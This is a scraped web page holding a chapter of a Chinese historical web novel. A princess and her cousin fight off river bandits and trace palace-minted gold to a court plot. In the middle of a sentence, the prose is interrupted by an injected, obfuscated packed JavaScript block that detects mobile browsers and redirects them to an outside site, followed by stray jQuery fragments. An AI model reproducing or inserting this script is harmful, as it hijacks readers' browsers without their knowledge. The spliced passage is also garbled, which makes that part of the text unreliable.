15. 第 15 章(第2页)
苏蔓蔓此时说的云淡风轻,贺明安却听的又气又心酸,说什么权衡利弊,不过从根本上是欺负苏蔓蔓孤女一个罢了。
“他们陆家人一向爱欺负人。”
“我那便宜爹其实对我还挺好的。”苏蔓蔓想到了太祖皇帝,不得不说,太祖皇帝对她的爱护当真是不掺一点水分。
贺明安沉默了一下才评价太祖皇帝:“他的确是个有情有义的好人。”
即使如贺明安这般的前朝血脉,也不得不承认,太祖皇帝是一个心胸宽广且为人坦荡有担当的人,当初若非太祖皇帝默许,他这个前朝血脉也不能平安的活下来。
明明他的身份如此微妙,可太祖皇帝对他仍如子侄辈一般对待。平心而论,若他在太祖皇帝的角度上,必是欲杀他而后快的。
所以他愿意做贺明安,而不是赫连氏的少主。前朝旧事,本就该埋在黄土里成为历史。
但这并不妨碍贺明安觉得先帝不地道以及陆齐贤是个人渣。
*
船行了大半日,晚膳用的是刚捞的河鲜,苏蔓蔓的身子已经好了许多,所以河鲜这种以往属于她忌口的东西如今也可以多用一些。
只是贺明安不太放心,把许若望叫来为苏蔓蔓诊脉。
许院判本命许若望,早早辞了官带着老婆儿子跟着苏蔓蔓的船队一起去庆州。
苏蔓蔓刚把手放上小迎枕上,船突然晃动了几下,外面有奇怪的光,夹杂着冷兵器交接的声音和叫喊声。
“外面怎么了?”苏蔓蔓想打开窗户看看,却被贺明安阻拦。
“我出去看看,可能是水匪。”贺明安提上剑出去,在门口把秋露叫了进来,嘱咐她保护好苏蔓蔓。
船队临时停靠在了一处小码头,此处看起来年久失修荒无人烟,苏蔓蔓也没有下船,只是听着外面的拼杀声,终归是心中有些不安。
夜已经很深了,外面逐渐安静了下来。
苏蔓蔓推开窗向外看去,靖南军的人已经在清理甲板,检查船只了。她向远处的山上望去,似乎有星星点点的火光穿行其中。
秋露出去打探了一圈回来,低声向苏蔓蔓禀报
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124063|179955||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“表少爷带人去那帮水匪的老巢了,估计要天快亮了才能回来,他们已经安排好了守夜,请殿下安心。”
“哥哥带了多少人去,可带了火器?”苏蔓蔓望着外面漆黑的夜,忍不住的担忧。
她方才听到了有火器的声音,应当是前几年她带头设计的图纸改进的火弩和火铳已经装备上一批了。
“带了两百人上山,这水匪本也没多少人,不过是仗着水性好,船小跑得快罢了,真打起来可不是咱们的人的对手。”秋露方才转了一圈并未发现伤亡情况,对靖南军的战斗力又有了一个新的认知。
在燕京看久了禁军的战斗力,判断力再好的人也会受到影响。饶是过去常常在传递来的消息里得知靖南军的战力,不如亲身感受一下来的更为直接。
苏蔓蔓听完秋露的话不由产生了一股欣慰之感,只觉得自己多年来花的钱当真不是白花的。
贺明安是翌日清晨回来的。他特意去自己的房间沐浴更衣完,洗去一身血腥气才来陪苏蔓蔓用早膳,顺带跟她报平安。
“哥哥什么时候回来的,受伤没,让许太医给你看看。”
刚用完早膳的许若望匆匆赶了过来给贺明安诊脉。捻着胡子摸了他好一会脉却迟迟不说话。苏蔓蔓心里“咯噔”一下,不由的十分忐忑。
“如何?”苏蔓蔓急急的问道。
这幅模样落在贺明安眼里,只觉得妹妹十分可爱,不由的轻轻勾起唇角。果然不论过去多少年,蔓蔓依然是他最可爱的妹妹。
“他身子康健的能打死一头老虎。”许太医捻着胡子慢悠悠的给出结论,表情十分欠打。
许太医示意苏蔓蔓把手放上来给她诊脉。没忍住周起了眉头。
这神情被贺明安看在眼里,一颗心提到了嗓子眼,他自然是知道苏蔓蔓身子骨不好的,不然他们也不会冒着水匪的风险要走大段的水路,只因为坐船要比马车快,也要比马车平稳些。
“妹妹身子如何?”这下轮到贺明安着急发问。
“嘶,大长公主这身子······”许太医换了个手继续诊脉,好一会之后才继续说道:“大长公主这身子好的速度有些出乎老夫的意料啊。”
“许太医,你做官这么久没挨过打吗?”苏蔓蔓无语的问道。
“咳咳,昨晚太闹了没睡好,年纪大了精神有些不济。”后知后觉意识到自己有些过分之后的许太医赶忙找补道:“殿下身子比之前好许多了,昨夜殿下许是睡太晚了,脉象摸起来有些迟滞,不必吃药,点上安神香多睡会就是了。”
“秋露,去送送许太医。”
见许太医和秋露都出去了,苏蔓蔓才转头问贺明安:“你去水匪的老巢做什么?”
“你看这个。”贺明安从袖袋里掏出了一块金饼递给苏蔓蔓。
苏蔓蔓拿在手里翻来覆去的仔细看,在金饼的侧面看到了小小的“建兴”“少府”四个字,她又轻轻掂了掂,很肯定的说:“这是宫里流出来的。”
她抬头问贺明安:“你在哪找到的?”
“在水匪头子的房间里找到的,有几个已经被剪成了散碎的金角子了,还有不少没来得及剪的,算起来差不多有六百两金。而且这般标准的金饼,只有少府统一铸出来的才有。”
“人呢?”苏蔓蔓问水匪头子。
“死了,而且是自己服毒死的,还是砒霜。”贺明安百思不得其解,这行为更像是死士,水匪可没有这般果决。
“吩咐人去把水匪头目的头割下来送进燕京去,给咱们靖南军请功。”
不管是谁买通了水匪准备在此地截杀她们,这头送回去就是一种震慑,更何况禁军剿了大半年都没剿成功的水匪被靖南军一锅端了,自然该让陆齐贤给他们封赏。
当然也是顺带给陆齐贤再醒醒神,别再行差踏错让大家面上都不好看。
“把这块金饼一并送给咱们陛下吧,告诉他朝中有人勾结水匪。”苏蔓蔓又想到了什么,问贺明安:“那他们劫来的东西你带回来没?”
“自然,这可是缴获的战利品,要拿回去给兄弟们分的。”贺明安当然不会放过这帮水匪的库房,不过都是劫掠来的不义之财,本着不拿白不拿的原则,自然是要搜刮干净。
不当家不知柴米油盐贵,贺明安每次到了要发饷的时候,看着账上少的一大笔钱就心痛不已,顺带骂骂陆齐贤不当人子,为了塞人进来连靖南军的军饷都抠抠搜搜的克扣。
要不是这么多年一直是苏蔓蔓贴补,怕是早养不起这么多人了。
世人都知昭阳大长公主豪富,却不知道苏蔓蔓赚来的钱基本上都填进了靖南军里。这些事贺明安从不在军中隐瞒,早些年跟着庆王的那些将领也将这些看在眼里,心疼的同时也兢兢业业的听从安排,好好守着庆州,守着南境。
船走了八天,在淮南郡的洛水码头上岸修整。
马车早早的就准备好了,附近的客栈也被整个包了下来。苏蔓蔓在去往客栈的路上时,总是隐隐的觉得有人盯着她们。她唤过秋露来问:“本宫总觉得不对劲,似乎有人跟着咱们。”
秋露的神情里露出一丝紧张,想起刚收到的消息,回禀:“殿下,是淮南王的人跟着我们,这里是淮南王的封地。”
苏蔓蔓露出一丝了然的神色,见秋露有些紧张她,安慰道:“不必担心,他们主子不在淮南。”